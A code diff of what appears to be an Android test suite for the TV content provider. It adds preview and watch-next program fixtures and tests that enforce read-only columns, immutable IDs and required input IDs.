         ContentValues values = new ContentValues();
-        values.put(TvContract.Channels.COLUMN_INPUT_ID, inputId);
-        values.put(TvContract.Channels.COLUMN_TYPE, TvContract.Channels.TYPE_OTHER);
-        values.put(TvContract.Channels.COLUMN_SERVICE_TYPE,
-                TvContract.Channels.SERVICE_TYPE_AUDIO_VIDEO);
-        values.put(TvContract.Channels.COLUMN_DISPLAY_NUMBER, "1");
-        values.put(TvContract.Channels.COLUMN_VIDEO_FORMAT, TvContract.Channels.VIDEO_FORMAT_480P);
+        values.put(Channels.COLUMN_INPUT_ID, inputId);
+        values.put(Channels.COLUMN_INTERNAL_PROVIDER_ID, "ID-4321");
+        values.put(Channels.COLUMN_TYPE, preview ? Channels.TYPE_PREVIEW : Channels.TYPE_OTHER);
+        values.put(Channels.COLUMN_SERVICE_TYPE, Channels.SERVICE_TYPE_AUDIO_VIDEO);
+        values.put(Channels.COLUMN_DISPLAY_NUMBER, "1");
+        values.put(Channels.COLUMN_VIDEO_FORMAT, Channels.VIDEO_FORMAT_480P);
 
         return values;
     }
 
     private static ContentValues createDummyProgramValues(long channelId) {
         ContentValues values = new ContentValues();
-        values.put(TvContract.Programs.COLUMN_CHANNEL_ID, channelId);
-        values.put(TvContract.Programs.COLUMN_EPISODE_DISPLAY_NUMBER , "1A");
-        values.put(TvContract.Programs.COLUMN_EPISODE_TITLE, "episode_title");
-        values.put(TvContract.Programs.COLUMN_SEASON_DISPLAY_NUMBER , "2B");
-        values.put(TvContract.Programs.COLUMN_SEASON_TITLE, "season_title");
-        values.put(TvContract.Programs.COLUMN_CANONICAL_GENRE, TvContract.Programs.Genres.encode(
-                TvContract.Programs.Genres.MOVIES, TvContract.Programs.Genres.DRAMA));
+        values.put(Programs.COLUMN_CHANNEL_ID, channelId);
+        values.put(Programs.COLUMN_EPISODE_DISPLAY_NUMBER , "1A");
+        values.put(Programs.COLUMN_EPISODE_TITLE, "episode_title");
+        values.put(Programs.COLUMN_SEASON_DISPLAY_NUMBER , "2B");
+        values.put(Programs.COLUMN_SEASON_TITLE, "season_title");
+        values.put(Programs.COLUMN_CANONICAL_GENRE, Programs.Genres.encode(
+                Programs.Genres.MOVIES, Programs.Genres.DRAMA));
         TvContentRating rating = TvContentRating.createRating("android.media.tv", "US_TVPG",
                 "US_TVPG_TV_MA", "US_TVPG_S", "US_TVPG_V");
-        values.put(TvContract.Programs.COLUMN_CONTENT_RATING, rating.flattenToString());
+        values.put(Programs.COLUMN_CONTENT_RATING, rating.flattenToString());
+        values.put(Programs.COLUMN_REVIEW_RATING_STYLE,
+                RecordedPrograms.REVIEW_RATING_STYLE_STARS);
+        values.put(Programs.COLUMN_REVIEW_RATING, "4.5");
 
         return values;
     }
 
-    private static ContentValues createDummyRecordedProgramValues(String inputId, long channelId) {
+    private static ContentValues createDummyPreviewProgramValues(long channelId) {
+        ContentValues values = createDummyBasePreviewProgramValues();
+        values.put(PreviewPrograms.COLUMN_CHANNEL_ID, channelId);
+        values.put(PreviewPrograms.COLUMN_WEIGHT, 100);
+        return values;
+    }
+
+    private static ContentValues createDummyWatchNextProgramValues() {
+        ContentValues values = createDummyBasePreviewProgramValues();
+        values.put(WatchNextPrograms.COLUMN_WATCH_NEXT_TYPE,
+                WatchNextPrograms.WATCH_NEXT_TYPE_CONTINUE);
+        values.put(WatchNextPrograms.COLUMN_LAST_ENGAGEMENT_TIME_UTC_MILLIS,
+                System.currentTimeMillis());
+        return values;
+    }
+
+    private static ContentValues createDummyBasePreviewProgramValues() {
         ContentValues values = new ContentValues();
-        values.put(TvContract.RecordedPrograms.COLUMN_INPUT_ID, inputId);
-        values.put(TvContract.RecordedPrograms.COLUMN_CHANNEL_ID, channelId);
-        values.put(TvContract.RecordedPrograms.COLUMN_SEASON_DISPLAY_NUMBER , "3B");
-        values.put(TvContract.RecordedPrograms.COLUMN_SEASON_TITLE, "season_title");
-        values.put(TvContract.RecordedPrograms.COLUMN_EPISODE_DISPLAY_NUMBER , "2A");
-        values.put(TvContract.RecordedPrograms.COLUMN_EPISODE_TITLE, "episode_title");
-        values.put(TvContract.RecordedPrograms.COLUMN_START_TIME_UTC_MILLIS, 1000);
-        values.put(TvContract.RecordedPrograms.COLUMN_END_TIME_UTC_MILLIS, 2000);
-        values.put(TvContract.RecordedPrograms.COLUMN_CANONICAL_GENRE,
-                TvContract.Programs.Genres.encode(
-                        TvContract.Programs.Genres.MOVIES, TvContract.Programs.Genres.DRAMA));
-        values.put(TvContract.RecordedPrograms.COLUMN_SHORT_DESCRIPTION, "short_description");
-        values.put(TvContract.RecordedPrograms.COLUMN_LONG_DESCRIPTION, "long_description");
-        values.put(TvContract.RecordedPrograms.COLUMN_VIDEO_WIDTH, 1920);
-        values.put(TvContract.RecordedPrograms.COLUMN_VIDEO_HEIGHT, 1080);
-        values.put(TvContract.RecordedPrograms.COLUMN_AUDIO_LANGUAGE, "en");
+        values.put(PreviewPrograms.COLUMN_INTERNAL_PROVIDER_ID, "ID-4321");
+        values.put(PreviewPrograms.COLUMN_PREVIEW_VIDEO_URI, "http://test.com/preview.mp4");
+        values.put(PreviewPrograms.COLUMN_LAST_PLAYBACK_POSITION_MILLIS, 5000);
+        values.put(PreviewPrograms.COLUMN_DURATION_MILLIS, 60000);
+        values.put(PreviewPrograms.COLUMN_INTENT_URI, "intent_for_video");
+        values.put(PreviewPrograms.COLUMN_TITLE, "program_title");
+        values.put(PreviewPrograms.COLUMN_SHORT_DESCRIPTION, "short_description");
+        values.put(PreviewPrograms.COLUMN_EPISODE_DISPLAY_NUMBER , "1A");
+        values.put(PreviewPrograms.COLUMN_EPISODE_TITLE, "episode_title");
+        values.put(PreviewPrograms.COLUMN_SEASON_DISPLAY_NUMBER , "2B");
+        values.put(PreviewPrograms.COLUMN_SEASON_TITLE, "season_title");
+        values.put(PreviewPrograms.COLUMN_CANONICAL_GENRE, Programs.Genres.encode(
+                Programs.Genres.SPORTS, Programs.Genres.DRAMA));
         TvContentRating rating = TvContentRating.createRating("android.media.tv", "US_TVPG",
                 "US_TVPG_TV_MA", "US_TVPG_S", "US_TVPG_V");
-        values.put(TvContract.RecordedPrograms.COLUMN_CONTENT_RATING, rating.flattenToString());
-        values.put(TvContract.RecordedPrograms.COLUMN_POSTER_ART_URI, "http://foo.com/artwork.png");
-        values.put(TvContract.RecordedPrograms.COLUMN_THUMBNAIL_URI, "http://foo.com/thumbnail.jpg");
-        values.put(TvContract.RecordedPrograms.COLUMN_SEARCHABLE, 1);
-        values.put(TvContract.RecordedPrograms.COLUMN_RECORDING_DATA_URI, "file:///sdcard/foo/");
-        values.put(TvContract.RecordedPrograms.COLUMN_RECORDING_DATA_BYTES, 1024 * 1024);
-        values.put(TvContract.RecordedPrograms.COLUMN_RECORDING_DURATION_MILLIS, 60 * 60 * 1000);
-        values.put(TvContract.RecordedPrograms.COLUMN_RECORDING_EXPIRE_TIME_UTC_MILLIS, 1454480880L);
-        values.put(TvContract.RecordedPrograms.COLUMN_INTERNAL_PROVIDER_DATA,
+        values.put(PreviewPrograms.COLUMN_CONTENT_RATING, rating.flattenToString());
+        values.put(PreviewPrograms.COLUMN_TYPE, PreviewPrograms.TYPE_MOVIE);
+        values.put(PreviewPrograms.COLUMN_POSTER_ART_URI, "http://foo.com/artwork.png");
+        values.put(PreviewPrograms.COLUMN_POSTER_ART_ASPECT_RATIO,
+                PreviewPrograms.ASPECT_RATIO_2_3);
+        values.put(PreviewPrograms.COLUMN_THUMBNAIL_URI, "http://foo.com/thumbnail.jpg");
+        values.put(PreviewPrograms.COLUMN_THUMBNAIL_ASPECT_RATIO,
+                PreviewPrograms.ASPECT_RATIO_16_9);
+        values.put(PreviewPrograms.COLUMN_LOGO_URI, "http://foo.com/logo.jpg");
+        values.put(PreviewPrograms.COLUMN_AVAILABILITY, PreviewPrograms.AVAILABILITY_AVAILABLE);
+        values.put(PreviewPrograms.COLUMN_STARTING_PRICE, "10.99 USD");
+        values.put(PreviewPrograms.COLUMN_OFFER_PRICE, "3.99 USD");
+        values.put(PreviewPrograms.COLUMN_RELEASE_DATE, "1985");
+        values.put(PreviewPrograms.COLUMN_ITEM_COUNT, 1);
+        values.put(PreviewPrograms.COLUMN_LIVE, 0);
+        values.put(PreviewPrograms.COLUMN_INTERACTION_TYPE, PreviewPrograms.INTERACTION_TYPE_LIKES);
+        values.put(PreviewPrograms.COLUMN_INTERACTION_COUNT, 4000);
+        values.put(PreviewPrograms.COLUMN_AUTHOR, "author_name1");
+        values.put(PreviewPrograms.COLUMN_REVIEW_RATING_STYLE,
+                PreviewPrograms.REVIEW_RATING_STYLE_STARS);
+        values.put(PreviewPrograms.COLUMN_REVIEW_RATING, "4.5");
+        values.put(WatchNextPrograms.COLUMN_CONTENT_ID, "CID-125-6335");
+
+        return values;
+    }
+
+
+    private static ContentValues createDummyRecordedProgramValues(String inputId, long channelId) {
+        ContentValues values = new ContentValues();
+        values.put(RecordedPrograms.COLUMN_INPUT_ID, inputId);
+        values.put(RecordedPrograms.COLUMN_CHANNEL_ID, channelId);
+        values.put(RecordedPrograms.COLUMN_SEASON_DISPLAY_NUMBER , "3B");
+        values.put(RecordedPrograms.COLUMN_SEASON_TITLE, "season_title");
+        values.put(RecordedPrograms.COLUMN_EPISODE_DISPLAY_NUMBER , "2A");
+        values.put(RecordedPrograms.COLUMN_EPISODE_TITLE, "episode_title");
+        values.put(RecordedPrograms.COLUMN_START_TIME_UTC_MILLIS, 1000);
+        values.put(RecordedPrograms.COLUMN_END_TIME_UTC_MILLIS, 2000);
+        values.put(RecordedPrograms.COLUMN_CANONICAL_GENRE,
+                Programs.Genres.encode(Programs.Genres.MOVIES, Programs.Genres.DRAMA));
+        values.put(RecordedPrograms.COLUMN_SHORT_DESCRIPTION, "short_description");
+        values.put(RecordedPrograms.COLUMN_LONG_DESCRIPTION, "long_description");
+        values.put(RecordedPrograms.COLUMN_VIDEO_WIDTH, 1920);
+        values.put(RecordedPrograms.COLUMN_VIDEO_HEIGHT, 1080);
+        values.put(RecordedPrograms.COLUMN_AUDIO_LANGUAGE, "en");
+        TvContentRating rating = TvContentRating.createRating("android.media.tv", "US_TVPG",
+                "US_TVPG_TV_MA", "US_TVPG_S", "US_TVPG_V");
+        values.put(RecordedPrograms.COLUMN_CONTENT_RATING, rating.flattenToString());
+        values.put(RecordedPrograms.COLUMN_POSTER_ART_URI, "http://foo.com/artwork.png");
+        values.put(RecordedPrograms.COLUMN_THUMBNAIL_URI, "http://foo.com/thumbnail.jpg");
+        values.put(RecordedPrograms.COLUMN_SEARCHABLE, 1);
+        values.put(RecordedPrograms.COLUMN_RECORDING_DATA_URI, "file:///sdcard/foo/");
+        values.put(RecordedPrograms.COLUMN_RECORDING_DATA_BYTES, 1024 * 1024);
+        values.put(RecordedPrograms.COLUMN_RECORDING_DURATION_MILLIS, 60 * 60 * 1000);
+        values.put(RecordedPrograms.COLUMN_RECORDING_EXPIRE_TIME_UTC_MILLIS, 1454480880L);
+        values.put(RecordedPrograms.COLUMN_INTERNAL_PROVIDER_DATA,
                 "internal_provider_data".getBytes());
-        values.put(TvContract.RecordedPrograms.COLUMN_INTERNAL_PROVIDER_FLAG1, 4);
-        values.put(TvContract.RecordedPrograms.COLUMN_INTERNAL_PROVIDER_FLAG2, 3);
-        values.put(TvContract.RecordedPrograms.COLUMN_INTERNAL_PROVIDER_FLAG3, 2);
-        values.put(TvContract.RecordedPrograms.COLUMN_INTERNAL_PROVIDER_FLAG4, 1);
+        values.put(RecordedPrograms.COLUMN_INTERNAL_PROVIDER_FLAG1, 4);
+        values.put(RecordedPrograms.COLUMN_INTERNAL_PROVIDER_FLAG2, 3);
+        values.put(RecordedPrograms.COLUMN_INTERNAL_PROVIDER_FLAG3, 2);
+        values.put(RecordedPrograms.COLUMN_INTERNAL_PROVIDER_FLAG4, 1);
+        values.put(RecordedPrograms.COLUMN_REVIEW_RATING_STYLE,
+                RecordedPrograms.REVIEW_RATING_STYLE_STARS);
+        values.put(RecordedPrograms.COLUMN_REVIEW_RATING, "4.5");
 
         return values;
     }
@@ -243,30 +303,48 @@
     }
 
     private void verifyChannel(Uri channelUri, ContentValues expectedValues, long channelId) {
+        verifyChannel(channelUri, expectedValues, channelId, true);
+    }
+
+    private void verifyChannel(Uri channelUri, ContentValues expectedValues, long channelId,
+            boolean verifyInputId) {
         try (Cursor cursor = mContentResolver.query(
                 channelUri, CHANNELS_PROJECTION, null, null, null)) {
             assertNotNull(cursor);
             assertEquals(cursor.getCount(), 1);
             assertTrue(cursor.moveToNext());
-            assertEquals(channelId, cursor.getLong(cursor.getColumnIndex(TvContract.Channels._ID)));
-            verifyStringColumn(cursor, expectedValues, TvContract.Channels.COLUMN_INPUT_ID);
-            verifyStringColumn(cursor, expectedValues, TvContract.Channels.COLUMN_TYPE);
-            verifyStringColumn(cursor, expectedValues, TvContract.Channels.COLUMN_SERVICE_TYPE);
-            verifyIntegerColumn(cursor, expectedValues,
-                    TvContract.Channels.COLUMN_ORIGINAL_NETWORK_ID);
-            verifyIntegerColumn(cursor, expectedValues,
-                    TvContract.Channels.COLUMN_TRANSPORT_STREAM_ID);
-            verifyIntegerColumn(cursor, expectedValues,
-                    TvContract.Channels.COLUMN_SERVICE_ID);
-            verifyStringColumn(cursor, expectedValues, TvContract.Channels.COLUMN_DISPLAY_NUMBER);
-            verifyStringColumn(cursor, expectedValues, TvContract.Channels.COLUMN_DISPLAY_NAME);
-            verifyStringColumn(cursor, expectedValues,
-                    TvContract.Channels.COLUMN_NETWORK_AFFILIATION);
-            verifyStringColumn(cursor, expectedValues, TvContract.Channels.COLUMN_DESCRIPTION);
-            verifyStringColumn(cursor, expectedValues, TvContract.Channels.COLUMN_VIDEO_FORMAT);
-            verifyBlobColumn(cursor, expectedValues,
-                    TvContract.Channels.COLUMN_INTERNAL_PROVIDER_DATA);
-            verifyIntegerColumn(cursor, expectedValues, TvContract.Channels.COLUMN_VERSION_NUMBER);
+            assertEquals(channelId, cursor.getLong(cursor.getColumnIndex(Channels._ID)));
+            if (verifyInputId) {
+                verifyStringColumn(cursor, expectedValues, Channels.COLUMN_INPUT_ID);
+            }
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_TYPE);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_SERVICE_TYPE);
+            verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_ORIGINAL_NETWORK_ID);
+            verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_TRANSPORT_STREAM_ID);
+            verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_SERVICE_ID);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_DISPLAY_NUMBER);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_DISPLAY_NAME);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_NETWORK_AFFILIATION);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_DESCRIPTION);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_VIDEO_FORMAT);
+            verifyStringColumn(cursor, expectedValues, Channels.COLUMN_INTERNAL_PROVIDER_ID);
+            verifyBlobColumn(cursor, expectedValues, Channels.COLUMN_INTERNAL_PROVIDER_DATA);
+            verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_VERSION_NUMBER);
+        }
+    }
+
+    private void verifyNonExistingColumn(Uri channelUri, long channelId) {
+        String[] projection = {
+                Channels._ID,
+                NON_EXISTING_COLUMN_NAME
+        };
+        try (Cursor cursor = mContentResolver.query(channelUri, projection, null, null, null)) {
+            assertNotNull(cursor);
+            assertEquals(cursor.getCount(), 1);
+            assertTrue(cursor.moveToNext());
+            assertEquals(channelId, cursor.getLong(0));
+            assertNull(cursor.getString(1));
+            assertEquals(0, cursor.getInt(1));
         }
     }
 
@@ -275,7 +353,7 @@
             return;
         }
         // Test: insert
-        ContentValues values = createDummyChannelValues(mInputId);
+        ContentValues values = createDummyChannelValues(mInputId, false);
 
         Uri rowUri = mContentResolver.insert(mChannelsUri, values);
         long channelId = ContentUris.parseId(rowUri);
@@ -283,9 +361,9 @@
         verifyChannel(channelUri, values, channelId);
 
         // Test: update
-        values.put(TvContract.Channels.COLUMN_DISPLAY_NUMBER, "1-1");
-        values.put(TvContract.Channels.COLUMN_DISPLAY_NAME, "One dash one");
-        values.put(TvContract.Channels.COLUMN_INTERNAL_PROVIDER_DATA, "Coffee".getBytes());
+        values.put(Channels.COLUMN_DISPLAY_NUMBER, "1-1");
+        values.put(Channels.COLUMN_DISPLAY_NAME, "One dash one");
+        values.put(Channels.COLUMN_INTERNAL_PROVIDER_DATA, "Coffee".getBytes());
 
         mContentResolver.update(channelUri, values, null, null);
         verifyChannel(channelUri, values, channelId);
@@ -298,54 +376,295 @@
         }
     }
 
+    public void testChannelsTableForModifyChannelType() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        ContentValues values = createDummyChannelValues(mInputId, true);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(channelUri);
+
+        // Test: try to modify channel type should fail
+        values.put(Channels.COLUMN_TYPE, Channels.TYPE_OTHER);
+        values.put(Channels.COLUMN_DISPLAY_NAME, "One dash one");
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(0, result);
+
+        // Test: update with same channel type should succeed
+        values.put(Channels.COLUMN_TYPE, Channels.TYPE_PREVIEW);
+        result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        verifyChannel(channelUri, values, channelId);
+
+        // Test: update channel type for all channels should fail
+        result = mContentResolver.update(Channels.CONTENT_URI, values, null, null);
+        assertEquals(0, result);
+    }
+
+    public void testChannelsTableForInputId() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        // Non-preview channels should not be inserted without input ID
+        ContentValues values = createDummyChannelValues(mInputId, false);
+        values.remove(Channels.COLUMN_INPUT_ID);
+        Uri rowUri = mContentResolver.insert(Channels.CONTENT_URI, values);
+        assertNull(rowUri);
+
+        // Non-preview channels should not be inserted with null input ID
+        values.putNull(Channels.COLUMN_INPUT_ID);
+        rowUri = mContentResolver.insert(Channels.CONTENT_URI, values);
+        assertNull(rowUri);
+
+        // Preview channels can be inserted with null input ID
+        values.put(Channels.COLUMN_TYPE, Channels.TYPE_PREVIEW);
+        rowUri = mContentResolver.insert(Channels.CONTENT_URI, values);
+        long channelId = ContentUris.parseId(rowUri);
+        Uri channelUri = TvContract.buildChannelUri(channelId);
+        verifyChannel(channelUri, values, channelId, false);
+
+        // Preview channels can be inserted without input ID
+        values.remove(Channels.COLUMN_INPUT_ID);
+        rowUri = mContentResolver.insert(Channels.CONTENT_URI, values);
+        channelId = ContentUris.parseId(rowUri);
+        channelUri = TvContract.buildChannelUri(channelId);
+        verifyChannel(channelUri, values, channelId, false);
+    }
+
+    public void testChannelsTableForModifyIdAndPackageName() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        ContentValues baseValues = createDummyChannelValues(mInputId, false);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, baseValues);
+        long channelId = ContentUris.parseId(channelUri);
+
+        ContentValues values = new ContentValues(baseValues);
+        values.put(Channels._ID, channelId);
+        int result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        values.put(Channels._ID, channelId + 1);
+        try {
+            mContentResolver.update(channelUri, values, null, null);
+            fail("Channels._ID should not be changed.");
+        } catch (Exception e) {
+            // Expected.
+        }
+
+        values = new ContentValues(baseValues);
+        values.put(Channels.COLUMN_PACKAGE_NAME, getContext().getPackageName());
+        result = mContentResolver.update(channelUri, values, null, null);
+        assertEquals(1, result);
+        values.put(Channels.COLUMN_PACKAGE_NAME, "");
+        try {
+            mContentResolver.update(channelUri, values, null, null);
+            fail("Channels.COLUMN_PACKAGE_NAME should not be changed.");
+        } catch (Exception e) {
+            // Expected.
+        }
+    }
+
+    public void testChannelsTableForIllegalAccess() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        ContentValues baseValues = createDummyChannelValues(mInputId, false);
+        Uri channelUri = mContentResolver.insert(mChannelsUri, baseValues);
+
+        // Test: insert
+        ContentValues values = new ContentValues(baseValues);
+        values.put(Channels.COLUMN_BROWSABLE, 1);
+        try {
+            mContentResolver.insert(mChannelsUri, values);
+            fail("Channels.COLUMN_BROWSABLE should be read-only.");
+        } catch (Exception e) {
+            // Expected.
+        }
+        values = new ContentValues(baseValues);
+        values.put(Channels.COLUMN_LOCKED, 1);
+        try {
+            mContentResolver.insert(mChannelsUri, values);
+            fail("Channels.COLUMN_LOCKED should be read-only.");
+        } catch (Exception e) {
+            // Expected.
+        }
+
+        // Test: update
+        values = new ContentValues(baseValues);
+        values.put(Channels.COLUMN_BROWSABLE, 1);
+        try {
+            mContentResolver.update(channelUri, values, null, null);
+            fail("Channels.COLUMN_BROWSABLE should be read-only.");
+        } catch (Exception e) {
+            // Expected.
+        }
+        values = new ContentValues(baseValues);
+        values.put(Channels.COLUMN_LOCKED, 1);
+        try {
+            mContentResolver.update(channelUri, values, null, null);
+            fail("Channels.COLUMN_LOCKED should be read-only.");
+        } catch (Exception e) {
+            // Expected.
+        }
+
+        // Test: query
+        try (Cursor cursor = mContentResolver.query(
+                channelUri,
+                new String[]{ Channels.COLUMN_BROWSABLE }, null, null, null)) {
+            // Channels.COLUMN_BROWSABLE should be readable from application.
+            assertEquals(1, cursor.getCount());
+        }
+        try (Cursor cursor = mContentResolver.query(
+                channelUri,
+                new String[]{ Channels.COLUMN_LOCKED }, null, null, null)) {
+            // Channels.COLUMN_LOCKED should be readable from application.
+            assertEquals(1, cursor.getCount());
+        }
+
+        mContentResolver.delete(mChannelsUri, null, null);
+        try (Cursor cursor = mContentResolver.query(
+                mChannelsUri, CHANNELS_PROJECTION, null, null, null)) {
+            assertEquals(0, cursor.getCount());
+        }
+    }
+
+    public void testChannelsTableForNonExistingColumns() throws Exception {
+        if (!Utils.hasTvInputFramework(getContext())) {
+            return;
+        }
+        ContentValues values = createDummyChannelValues(mInputId, false);
+        values.put(NON_EXISTING_COLUMN_NAME, "dummy value");
+        Uri rowUri = mContentResolver.insert(mChannelsUri, values);
+        long channelId = ContentUris.parseId(rowUri);
+        Uri channelUri = TvContract.buildChannelUri(channelId);
+        verifyChannel(channelUri, values, channelId);
+        verifyNonExistingColumn(channelUri, channelId);
+
+        // Test: update
+        mContentResolver.update(channelUri, values, null, null);
+        verifyChannel(channelUri, values, channelId);
+        verifyNonExistingColumn(channelUri, channelId);
+
+        // Test: delete
+        mContentResolver.delete(mChannelsUri, null, null);
+        try (Cursor cursor = mContentResolver.query(
+                mChannelsUri, CHANNELS_PROJECTION, null, null, null)) {
+            assertEquals(0, cursor.getCount());
+        }
+    }
+
     private void verifyProgram(Uri programUri, ContentValues expectedValues, long programId) {
         try (Cursor cursor = mContentResolver.query(
-                programUri, PROGRAMS_PROJECTION, null, null, null)) {
+                programUri, null, null, null, null)) {
             assertNotNull(cursor);
             assertEquals(cursor.getCount(), 1);
             assertTrue(cursor.moveToNext());
-            assertEquals(programId, cursor.getLong(cursor.getColumnIndex(TvContract.Programs._ID)));
-            verifyLongColumn(cursor, expectedValues, TvContract.Programs.COLUMN_CHANNEL_ID);
-            verifyStringColumn(cursor, expectedValues, TvContract.Programs.COLUMN_TITLE);
+            assertEquals(programId, cursor.getLong(cursor.getColumnIndex(Programs._ID)));
+            verifyLongColumn(cursor, expectedValues, Programs.COLUMN_CHANNEL_ID);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_TITLE);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_SEASON_DISPLAY_NUMBER);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_SEASON_TITLE);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_EPISODE_DISPLAY_NUMBER);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_EPISODE_TITLE);
+            verifyLongColumn(cursor, expectedValues, Programs.COLUMN_START_TIME_UTC_MILLIS);
+            verifyLongColumn(cursor, expectedValues, Programs.COLUMN_END_TIME_UTC_MILLIS);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_BROADCAST_GENRE);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_CANONICAL_GENRE);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_SHORT_DESCRIPTION);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_LONG_DESCRIPTION);
+            verifyIntegerColumn(cursor, expectedValues, Programs.COLUMN_VIDEO_WIDTH);
+            verifyIntegerColumn(cursor, expectedValues, Programs.COLUMN_VIDEO_HEIGHT);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_AUDIO_LANGUAGE);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_CONTENT_RATING);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_POSTER_ART_URI);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_THUMBNAIL_URI);
+            verifyBlobColumn(cursor, expectedValues, Programs.COLUMN_INTERNAL_PROVIDER_DATA);
+            verifyIntegerColumn(cursor, expectedValues, Programs.COLUMN_VERSION_NUMBER);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_REVIEW_RATING_STYLE);
+            verifyStringColumn(cursor, expectedValues, Programs.COLUMN_REVIEW_RATING);
+        }
+    }
+
+    private void verifyPreviewProgram(Uri programUri, ContentValues expectedValues,
+            long programId) {
+        try (Cursor cursor = mContentResolver.query(
+                programUri, null, null, null, null)) {
+            assertNotNull(cursor);
+            assertEquals(cursor.getCount(), 1);
+            assertTrue(cursor.moveToNext());
+            assertEquals(programId, cursor.getLong(cursor.getColumnIndex(PreviewPrograms._ID)));
+            verifyLongColumn(cursor, expectedValues, PreviewPrograms.COLUMN_CHANNEL_ID);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_TITLE);
             verifyStringColumn(cursor, expectedValues,
-                    TvContract.Programs.COLUMN_SEASON_DISPLAY_NUMBER);
-            verifyStringColumn(cursor, expectedValues, TvContract.Programs.COLUMN_SEASON_TITLE);
+                    PreviewPrograms.COLUMN_SEASON_DISPLAY_NUMBER);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_SEASON_TITLE);
             verifyStringColumn(cursor, expectedValues,
-                    TvContract.Programs.COLUMN_EPISODE_DISPLAY_NUMBER);
-            verifyStringColumn(cursor, expectedValues, TvContract.Programs.COLUMN_EPISODE_TITLE);
+                    PreviewPrograms.COLUMN_EPISODE_DISPLAY_NUMBER);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_EPISODE_TITLE);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_CANONICAL_GENRE);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_SHORT_DESCRIPTION);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_LONG_DESCRIPTION);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_VIDEO_WIDTH);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_VIDEO_HEIGHT);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_AUDIO_LANGUAGE);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_CONTENT_RATING);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_POSTER_ART_URI);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_THUMBNAIL_URI);
+            verifyBlobColumn(cursor, expectedValues, PreviewPrograms.COLUMN_INTERNAL_PROVIDER_DATA);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_VERSION_NUMBER);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_INTERNAL_PROVIDER_ID);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_PREVIEW_VIDEO_URI);
+            verifyIntegerColumn(cursor, expectedValues,
+                    PreviewPrograms.COLUMN_LAST_PLAYBACK_POSITION_MILLIS);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_DURATION_MILLIS);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_INTENT_URI);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_WEIGHT);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_TYPE);
+            verifyIntegerColumn(cursor, expectedValues,
+                    PreviewPrograms.COLUMN_POSTER_ART_ASPECT_RATIO);
+            verifyIntegerColumn(cursor, expectedValues,
+                    PreviewPrograms.COLUMN_THUMBNAIL_ASPECT_RATIO);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_LOGO_URI);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_AVAILABILITY);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_STARTING_PRICE);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_OFFER_PRICE);
+            verifyStringColumn(cursor, expectedValues, PreviewPrograms.COLUMN_RELEASE_DATE);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_ITEM_COUNT);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_LIVE);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_INTERACTION_TYPE);
+            verifyIntegerColumn(cursor, expectedValues, PreviewPrograms.COLUMN_INTERACTION_COUNT);
